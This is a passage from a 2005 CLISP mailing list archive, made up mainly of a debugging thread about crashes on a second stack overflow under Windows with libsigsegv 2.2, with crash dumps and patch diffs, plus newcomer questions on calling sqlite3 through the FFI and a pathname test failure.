0x30ffc, > Registers: > eip = 0x42d4f0 > eax = 0x42d4c0, ebx = 0x31000, ecx = 0x77c3ef3b, edx = 0x0 > esi = 0x1, edi = 0x0, ebp = 0x22fdb0, esp = 0x22fd98 > *** - handle_fault error2 ! address = 0x30ffc not in [0x22010000,0x2215e538) ! > SIGSEGV cannot be cured. Fault address = 0x30ffc. > Permanently allocated: 88384 bytes. > Currently in use: 1733100 bytes. > Free space: 491252 bytes. > Wednesday, March 23, 2005, 11:10:41 AM, you wrote: >> [This picks up a thread started with Bruno re: libsigsegv 2.2 -- the >> problems are (a) stack overflow when there is plenty of memory, and >> (b) an Access Violation crash on the 2nd stack overflow.] >> I tried getting more info by running a debug version of CLISP built with >> ./configure --with-debug --with-mingw --build build-g ; >> but built this way, there is no crash, but the stack doesn't grow >> enough to compute (ackermann 3 11). >> On the other hand, I got a strange error, as you can see in the >> console dribble below >> EVAL: variable L has no value >> in the evaluation of (run-ackermann). >> It looks like the GENERATIONAL_GC is not used in the debug version; >> perhaps this is a clue. >> e >> $ uname -a >> MINGW32_NT-5.1 DAWNE 1.0.11(0.46/3/2) 2004-04-30 18:55 i686 unknown >> $ ./clisp --version >> GNU CLISP 2.33.83 (2005-03-14) (built 3320580763) (memory 3320581251) >> Software: GNU C 3.4.2 (mingw-special) >> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit >> -Wreturn-type -Wno-sign-compare -falign-functions=4 -D_WIN32 -g >> -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE >> -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none >> libcharset.a libavcall.a libcallback.a -luser32 -lws2_32 -lole32 >> -loleaut32 -luuid -L/usr/local/lib -lsigsegv >> SAFETY=3 HEAPCODES STANDARD_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY >> libsigsegv 2.2 >> Features: >> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL >> INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE >> BASE-CHAR=CHARACTER PC386 WIN32) >> Installation directory: C:\dev\clisp\clisp\build-g\ >> User language: ENGLISH >> Machine: PC/386 (PC/686) dawne [192.168.168.26] >> Reserved address range 0x22010000-0x5d08ffff . >> STACK depth: 16363 >> SP depth: 1073612826 >> i i i i i i i ooooo o ooooooo ooooo ooooo >> I I I I I I I 8 8 8 8 8 o 8 8 >> I \ `+' / I 8 8 8 8 8 8 >> \ `-+-' / 8 8 8 ooooo 8oooo >> `-__|__-' 8 8 8 8 8 >> | 8 o 8 8 o 8 8 >> ------+------ ooooo 8oooooo ooo8ooo ooooo 8 >> Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 >> Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 >> Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 >> Copyright (c) Bruno Haible, Sam Steingold 1999-2000 >> Copyright (c) Sam Steingold, Bruno Haible 2001-2005 >> [1]> (defun ackermann (m n) >> (declare (type integer m n)) >> (cond >> ((zerop m) (1+ n)) >> ((zerop n) (ackermann (1- m) 1)) >> (t (ackermann (1- m) (ackermann m (1- n)))))) >> ACKERMANN >> [2]> (defun run-ackermann () >> (ackermann 3 11)) >> RUN-ACKERMANN >> [3]> (run-ackermann) >> *** - EVAL: variable L has no value >> The following restarts are available: >> USE-VALUE :R1 You may input a value to be used instead of L. >> STORE-VALUE :R2 You may input a new value for L. >> ABORT :R3 ABORT >> Break 1 [4]> :r3 >> [5]> (run-ackermann) >> *** - EVAL: variable L has no value >> The following restarts are available: >> USE-VALUE :R1 You may input a value to be used instead of L. >> STORE-VALUE :R2 You may input a new value for L. >> ABORT :R3 ABORT >> Break 1 [6]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> Break 1 [6]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> Break 1 [6]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> Break 1 [6]> :abort >> :ABORT >> Break 1 [6]> (reset) >> *** - EVAL: undefined function RESET >> The following restarts are available: >> USE-VALUE :R1 You may input a value to be used instead of (FDEFINITIO >> 'RESET). >> RETRY :R2 Retry >> STORE-VALUE :R3 You may input a new value for (FDEFINITION 'RESET). >> ABORT :R4 ABORT >> ABORT :R5 ABORT >> Break 2 [7]> :r5 >> [8]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> [9]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> [10]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> [11]> (ackermann 3 11) >> *** - Program stack overflow. RESET >> [12]> *features* >> (:REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP >> :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN >> :FFI :UNICODE :BASE-CHAR=CHARACTER :PC386 :WIN32) >> [13]> >> Tuesday, March 22, 2005, 7:03:36 PM, I wrote: >>> I can generate this problem simply by defining >>> (defun ackermann (m n) >>> (declare (type integer m n)) >>> (cond >>> ((zerop m) (1+ n)) >>> ((zerop n) (ackermann (1- m) 1)) >>> (t (ackermann (1- m) (ackermann m (1- n)))))) >>> (defun run-ackermann () >>> (ackermann 3 11)) >>> and entering >>> (run-ackermann) >>> in a clisp console twice. The first time it gives the >>> *** - Program stack overflow. RESET >>> message. The second time it gives the message, and crashes. >>> GNU CLISP 2.33.83 (2005-03-14) (built 3320497605) (memory 3320497960) >>> Software: GNU C 3.4.2 (mingw-special) >>> gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit >>> -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations >>> -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT >>> -I. -x none libcharset.a libavcall.a libcallback.a -luser32 >>> -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv >>> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC >>> SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY >>> libsigsegv 2.2 >>> Features: >>> (REGEXP SYSCALLS LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL >>> INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE >>> BASE-CHAR=CHARACTER PC386 WIN32) >>> Installation directory: C:\Dev\clisp\clisp\build-mingw\ >>> User language: ENGLISH >>> Machine: PC/386 (PC/686) dawne [192.168.168.26] >>> Whereas in 2.33.2 I get no crash... >>> [1]> *features* >>> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL >>> :INTERPRETER :SOCKETS :GENERIC-STREAMS >>> :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE >>> :BASE-CHAR=CHARACTER :PC386 :WIN32) >>> [2]> (defun ackermann (m n) >>> (declare (type integer m n)) >>> (cond >>> ((zerop m) (1+ n)) >>> ((zerop n) (ackermann (1- m) 1)) >>> (t (ackermann (1- m) (ackermann m (1- n)))))) >>> ACKERMANN >>> [3]> (defun run-ackermann () >>> (ackermann 3 11)) >>> RUN-ACKERMANN >>> [4]> (RUN-ACKERMANN) >>> *** - Lisp stack overflow. RESET >>> [5]> (RUN-ACKERMANN) >>> *** - Lisp stack overflow. RESET >>> [6]> (RUN-ACKERMANN) >>> *** - Lisp stack overflow. RESET >>> [7]> (RUN-ACKERMANN) >>> *** - Lisp stack overflow. RESET >>> [8]> >>> Regards, >>> e >>> Earlier I wrote... >>> Monday, March 14, 2005, 8:17:59 AM, you wrote: >>>>> libsigsegv: i386-pc-mingw32 | yes | yes | 2.2 >>>> Thanks, I'm adding this to the PORTING file. >>> Hmm. I just tried running cl-bench with clisp built from CVS using >>> libsigsegv 2.2 and got an Access Violation crash. Below is the DrMinGW >>> dump. The console said: >>> === running # >>> === running # >>> *** - Program stack overflow. RESET >>> *** - Program stack overflow. RESET >>> >>> There were no ACKERMANN results in the cl-bench report. >>> Regards, >>> e >>> lisp.exe caused an Access Violation at location 0041b948 in >>> module lisp.exe Reading from location 00030ffc. >>> Registers: >>> eax=004dc201 ebx=00031000 ecx=0041b930 edx=00000000 esi=00000000 edi=00030000 >>> eip=0041b948 esp=0022fd98 ebp=0022fdb0 iopl=0 nv up ei pl zr na po nc >>> cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 >>> Call stack: >>> 0041B948 lisp.exe:0041B948 >>> 0041BC6D lisp.exe:0041BC6D >>> 0041BC92 lisp.exe:0041BC92 >>> 004D0E15 lisp.exe:004D0E15 stack_overflow_handler handler-win32.c:116 >>> static void stack_overflow_handler( >>> long unsigned int faulting_page_address = 2292428, >>> stackoverflow_context_t context = &{ >>> DWORD ContextFlags = , >>> DWORD Dr0 = , >>> DWORD Dr1 = , >>> DWORD Dr2 = , >>> DWORD Dr3 = , >>> DWORD Dr6 = , >>> DWORD Dr7 = , >>> FLOATING_SAVE_AREA FloatSave = { >>> DWORD ControlWord = , >>> DWORD StatusWord = , >>> DWORD TagWord = , >>> DWORD ErrorOffset = , >>> DWORD ErrorSelector = , >>> DWORD DataOffset = , >>> DWORD DataSelector = , >>> BYTEuint32[] RegisterArea = (array), >>> DWORD Cr0NpxState = >>> }, >>> DWORD SegGs = , >>> DWORD SegFs = , >>> DWORD SegEs = , >>> DWORD SegDs = , >>> DWORD Edi = , >>> DWORD Esi = , >>> DWORD Ebx = , >>> DWORD Edx = , >>> DWORD Ecx = , >>> DWORD Eax = , >>> DWORD Ebp = , >>> DWORD Eip = , >>> DWORD SegCs = , >>> DWORD EFlags = , >>> DWORD Esp = , >>> DWORD SegSs = , >>> BYTEuint32[] ExtendedRegisters = (array) >>> } >>> ) >>> ... >>> ok: >>> for (;;) >>>> (*stk_user_handler) (0, context); >>> } >>> ... >> ------------------------------------------------------------------------ >> The information in this email and its attachment(s) are intended for >> the exclusive use of the addressee(s) and should be assumed to contain >> confidential and/or privileged information. If you are not an intended >> recipient be aware that any review, disclosure, copying, modifying, >> distribution, or use of this information is prohibited. If you have >> received this email in error, please forward this message and notify >> Flavors Inc immediately at postmaster@flavors.com >> ------------------------------------------------------- >> This SF.net email is sponsored by Microsoft Mobile & Embedded DevCon 2005 >> Attend MEDC 2005 May 9-12 in Vegas. Learn more about the latest Windows >> Embedded(r) & Windows Mobile(tm) platforms, applications & content. Register >> by 3/29 & save $300 >> http://ads.osdn.com/?ad_id=6883&alloc_id=15149&op=click >> _______________________________________________ >> clisp-list mailing list >> clisp-list@lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/clisp-list >> ------------------------------------------------------------------------ >> The information in this email and its attachment(s) are intended for >> the exclusive use of the addressee(s) and should be assumed to contain >> confidential and/or privileged information. If you are not an intended >> recipient be aware that any review, disclosure, copying, modifying, >> distribution, or use of this information is prohibited. If you have >> received this email in error, please forward this message and notify >> Flavors Inc immediately at postmaster@flavors.com > ------------------------------------------------------- > SF email is sponsored by - The IT Product Guide > Read honest & candid reviews on hundreds of IT Products from real users. > Discover which products truly live up to the hype. Start reading now. > http://ads.osdn.com/?ad_id=6595&alloc_id=14396&op=click > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From kavenchuk@jenty.by Fri Mar 25 01:22:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEl1t-00074L-FJ for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 01:22:57 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DEl1q-00005W-KJ for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 01:22:57 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id HTZV8JRK; Fri, 25 Mar 2005 11:25:36 +0200 Message-ID: <4243D88C.20902@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ffi question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 25 01:23:36 2005 X-Original-Date: Fri, 25 Mar 2005 11:23:24 +0200 I'm newbie in ffi (sorry) I try to be connected to sqlite3. The first variant: (def-call-out sqlite3-open (:name "sqlite3_open") (:library *sqlite-shared-lib*) (:arguments (db-name c-string) (db (ffi:c-ptr ffi:c-pointer) :out :alloca)) (:return-type ffi:int)) (def-call-out sqlite3-close (:name "sqlite3_close") (:library *sqlite-shared-lib*) (:arguments (db ffi:c-pointer)) (:return-type ffi:int)) (setq ret (multiple-value-bind (stat db) (sqlite3-open *db-name*) (cons stat db))) (sqlite3-close (cdr ret)) It's work. It's simple. Nice! Excellent!!! :) The second variant (only sqlite3-open): (def-call-out sqlite3-open (:name "sqlite3_open") (:library *sqlite-shared-lib*) (:arguments (db-name c-string) (db ffi:c-pointer)) (:return-type ffi:int)) (setq db (ffi:foreign-allocate ffi:c-pointer)) (sqlite3-open *db-name* (ffi:foreign-address db)) (sqlite3-close (ffi:foreign-value db)) How to make that sqlite3-close it was called as well as in the first variant? I should free memory (db) in the first or second variant? Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Mar 25 01:29:55 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEl8d-0007R2-4j for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 01:29:55 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DEl8c-0000ht-8L for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 01:29:55 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id HTZV8JRV; Fri, 25 Mar 2005 11:30:31 +0200 Message-ID: <4243D9B2.8000205@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] ffi foreign function documentation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 25 01:30:31 2005 X-Original-Date: Fri, 25 Mar 2005 11:28:18 +0200 Now I do so: (def-call-out sqlite3-libversion (:name "sqlite3_libversion") (:library *sqlite-shared-lib*) (:return-type ffi:c-string)) (setf (documentation 'sqlite3-libversion 'function) "Return a string which contains the version number of the library.") There is other way? def-call-out do not have option :documentation. May be do it? Thanks! -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Mar 25 01:46:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DElOi-000871-7X for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 01:46:32 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DElOg-0001z8-JL for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 01:46:32 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id HTZV8JV2; Fri, 25 Mar 2005 11:49:17 +0200 Message-ID: <4243DE1A.1010409@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Edi Weitz CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with lisp2wish References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 25 01:47:22 2005 X-Original-Date: Fri, 25 Mar 2005 11:47:06 +0200 Edi Weitz: > See last paragraph of this message: > > > > > Maybe your problem is related. Thanks. But not helped. I close all programs, clear systray - not work. -- WBR, Yaroslav Kavenchuk. From e@flavors.com Fri Mar 25 15:31:51 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEyHM-0002gP-5l for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 15:31:48 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DEyHJ-0004PY-9a for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 15:31:48 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Fri, 25 Mar 2005 18:31:27 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <121645597.20050325183125@flavors.com> To: clisp-list@lists.sourceforge.net CC: Bruno Haible Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with libsigsegv 2.2 In-Reply-To: <338017747.20050325014246@flavors.com> References: <1691117823.20050310212857@flavors.com> <200503141417.59874.bruno@clisp.org> <83800140.20050322190336@flavors.com> <932799917.20050323111041@flavors.com> <871480226.20050324141918@flavors.com> <338017747.20050325014246@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 25 15:32:17 2005 X-Original-Date: Fri, 25 Mar 2005 18:31:25 -0500 I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c, and their repair restores CLISP to correct stack overflow handling. These two new fixes are in addition to the two fixes I wrote about yesterday (well, much earlier today I guess) (repeated below). 1. WinXP seems to be allocating 8K of guard pages below the stack. libsigsegv 2.2 re-installs only 4K of it, so the second stack overflow has less slop. This may explain why the second overflow often fails. 2. WinXP puts the exception handler's CONTEXT structure (wait for it...) in the overflowed stack's guard page! This is below the SP (by about 1K bytes I think) of the exception handler. libsigsegv 2.2 was re-guarding this page, and then passing a pointer to this CONTEXT to the CLISP handler. As soon as the CLISP handler tried to use this CONTEXT (for %ebx for example) it got a recursive stack overflow, ad infinitum. This happened on the first or second stack overflow depending on how much debugging code I had inserted; typically on the 2nd interrupt without fix #1 above, on the 1st interrupt with fix #1. The fixes #1 and #2 are in this diff, along with the handler-win32.c argument ordering fix from my last message. e $ diff -u src/handler-win32~.c src/handler-win32.c --- src/handler-win32~.c Mon Apr 28 07:01:50 2003 +++ src/handler-win32.c Fri Mar 25 18:10:17 2005 @@ -101,12 +101,12 @@ /* Now add the PAGE_GUARD bit to the first existing page. */ /* On WinNT this works... */ - if (VirtualProtect (info.BaseAddress, 0x1000, info.Protect | PAGE_GUARD, + if (VirtualProtect (info.BaseAddress, 0x2000, info.Protect | PAGE_GUARD, /* was: 0x1000 */ &oldprot)) goto ok; if (GetLastError () == ERROR_INVALID_PARAMETER) /* ... but on Win95 we need this: */ - if (VirtualProtect (info.BaseAddress, 0x1000, PAGE_NOACCESS, &oldprot)) + if (VirtualProtect (info.BaseAddress, 0x2000, PAGE_NOACCESS, &oldprot)) /* was: 0x1000 */ goto ok; failed: for (;;) @@ -128,8 +128,14 @@ && ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION )) { -#if 0 /* for debugging only */ - printf ("Exception!\n"); +#if 0 /* for debugging only */ +#if 0 /* for debugging after stack overflow only */ +static int pex = 0; +pex |= (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_STACK_OVERFLOW); +if (pex) +#endif +{ + printf ("\nException!\n"); printf ("Code = 0x%x\n", ExceptionInfo->ExceptionRecord->ExceptionCode); printf ("Flags = 0x%x\n", @@ -154,6 +160,7 @@ printf ("edi = 0x%x, ", ExceptionInfo->ContextRecord->Edi); printf ("ebp = 0x%x, ", ExceptionInfo->ContextRecord->Ebp); printf ("esp = 0x%x\n", ExceptionInfo->ContextRecord->Esp); +} #endif if (ExceptionInfo->ExceptionRecord->NumberParameters == 2) { @@ -164,12 +171,14 @@ /* Restart the program, giving it a sane value for %esp. */ unsigned long faulting_page_address = (unsigned long)address & -0x1000; unsigned long new_safe_esp = ((stk_extra_stack + stk_extra_stack_size) & -8); - new_safe_esp -= 12; /* make room for arguments */ - ExceptionInfo->ContextRecord->Esp = new_safe_esp; + stackoverflow_context_t ctx = ExceptionInfo->ContextRecord; + new_safe_esp -= (12 + sizeof(*ctx)); /* make room for arguments */ + memcpy( (void *)(new_safe_esp + 12), (const void *)ctx, sizeof(*ctx)); + ctx->Esp = new_safe_esp; /* Call stack_overflow_handler(faulting_page_address). */ - ExceptionInfo->ContextRecord->Eip = (unsigned long)&stack_overflow_handler; - *(unsigned long *)(new_safe_esp + 8) = faulting_page_address; - *(unsigned long *)(new_safe_esp + 4) = (unsigned long) ExceptionInfo->ContextRecord; + ctx->Eip = (unsigned long)&stack_overflow_handler; + *(unsigned long *)(new_safe_esp + 4) = faulting_page_address; + *(unsigned long *)(new_safe_esp + 8) = new_safe_esp + 12; return EXCEPTION_CONTINUE_EXECUTION; } if (user_handler != (sigsegv_handler_t) NULL Friday, March 25, 2005, 1:42:46 AM, I wrote: > OK, I have found some problems that were causing these crashes, and a > couple fixes. One fix is to CLISP, and the other is to libsigsegv 2.2 > While I believe the fixes are correct, the problem still remains in > slightly different form: now the second stack overflow leads to > infinite regress. > The CLISP problem was simply that the case for WIN32_NATIVE in > stackoverflow_handler() was missing. > $ diff -u spvw_sigsegv~.d spvw_sigsegv.d > --- spvw_sigsegv~.d Mon Feb 7 16:47:21 2005 > +++ spvw_sigsegv.d Fri Mar 25 01:22:03 2005 > @@ -153,6 +153,11 @@ > if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); } > #endif > #endif > + #ifdef WIN32_NATIVE > + #ifdef I80386 > + if (scp) { setSTACK(STACK = (gcv_object_t*)(scp->Ebx)); } > + #endif > + #endif > } > #endif > SP_ueber(); > The libsigsegv 2.2 problem is that the CONTEXT and address passed up > to stackoverflow_handler() were passed in the wrong order: > $ diff -u handler-win32~.c handler-win32.c > --- handler-win32~.c Mon Apr 28 07:01:50 2003 > +++ handler-win32.c Fri Mar 25 01:29:43 2005 > @@ -168,8 +175,8 @@ > ExceptionInfo->ContextRecord->Esp = new_safe_esp; > /* Call > stack_overflow_handler(faulting_page_address). */ > ExceptionInfo->ContextRecord->Eip = (unsigned long)&stack_overflow_handler; > - *(unsigned long *)(new_safe_esp + 8) = faulting_page_address; > - *(unsigned long *)(new_safe_esp + 4) = (unsigned > long) ExceptionInfo->ContextRecord; > + *(unsigned long *)(new_safe_esp + 4) = faulting_page_address; > + *(unsigned long *)(new_safe_esp + 8) = (unsigned > long) ExceptionInfo->ContextRecord; > return EXCEPTION_CONTINUE_EXECUTION; > } > if (user_handler != (sigsegv_handler_t) NULL > With these two fixes there are no longer any Access Violations. > (!) > Now, if you have any clues about the resulting infinite regress: > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > *** - Program stack overflow. RESET > ... > ? > e > Thursday, March 24, 2005, 2:19:18 PM, I wrote: [a lot of stuff deleted] e From e@flavors.com Fri Mar 25 17:07:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DEzmM-0007ba-Ew for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 17:07:54 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.41) id 1DEzmL-0003Cv-1m for clisp-list@lists.sourceforge.net; Fri, 25 Mar 2005 17:07:54 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Fri, 25 Mar 2005 20:07:47 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1838971392.20050325200746@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Internal error: statement in file "pathname.d", line 1082 In-Reply-To: References: <20050322000506.79CD310FC26@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 25 17:08:27 2005 X-Original-Date: Fri, 25 Mar 2005 20:07:46 -0500 Thursday, March 24, 2005, 6:30:42 PM, you wrote: >> * Pascal J.Bourguignon [2005-03-22 01:05:06 +0100]: >> >> Break 1 DOMINGO[4]> (directory >> "PACKAGES:COM;INFORMATIMAGO;CL-LOADERS;*.*.") >> >> *** - Internal error: statement in file "pathname.d", line 1082 has been reached!! >> Please send the authors of the program a description how you produced >> this error! > do you get something similar on > (logical-pathname "sys:foo.bar.") > (instead of a parse-error?) > does the appended patch fix the problem? No... A clean build from CVS with /pathname.d/1.360/Sat Mar 26 00:33:16 2005// fails the above test during a build: $ ./configure --with-mingw --with-module=dirkey --build build-mingw >> log-build-mingw.txt 2>&1 RUN-TEST: finished "excepsit" (1 error out of 363 tests) RUN-ALL-TESTS: grand total: 1 error out of 10,343 tests $ cat /c/dev/clisp/clisp/build-mingw/tests/*.erg Form: (LOGICAL-PATHNAME "sys:foo.bar.") CORRECT: PARSE-ERROR CLISP : # e From pjb@informatimago.com Sat Mar 26 08:06:21 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DFDno-0008Rw-Hu for clisp-list@lists.sourceforge.net; Sat, 26 Mar 2005 08:06:20 -0800 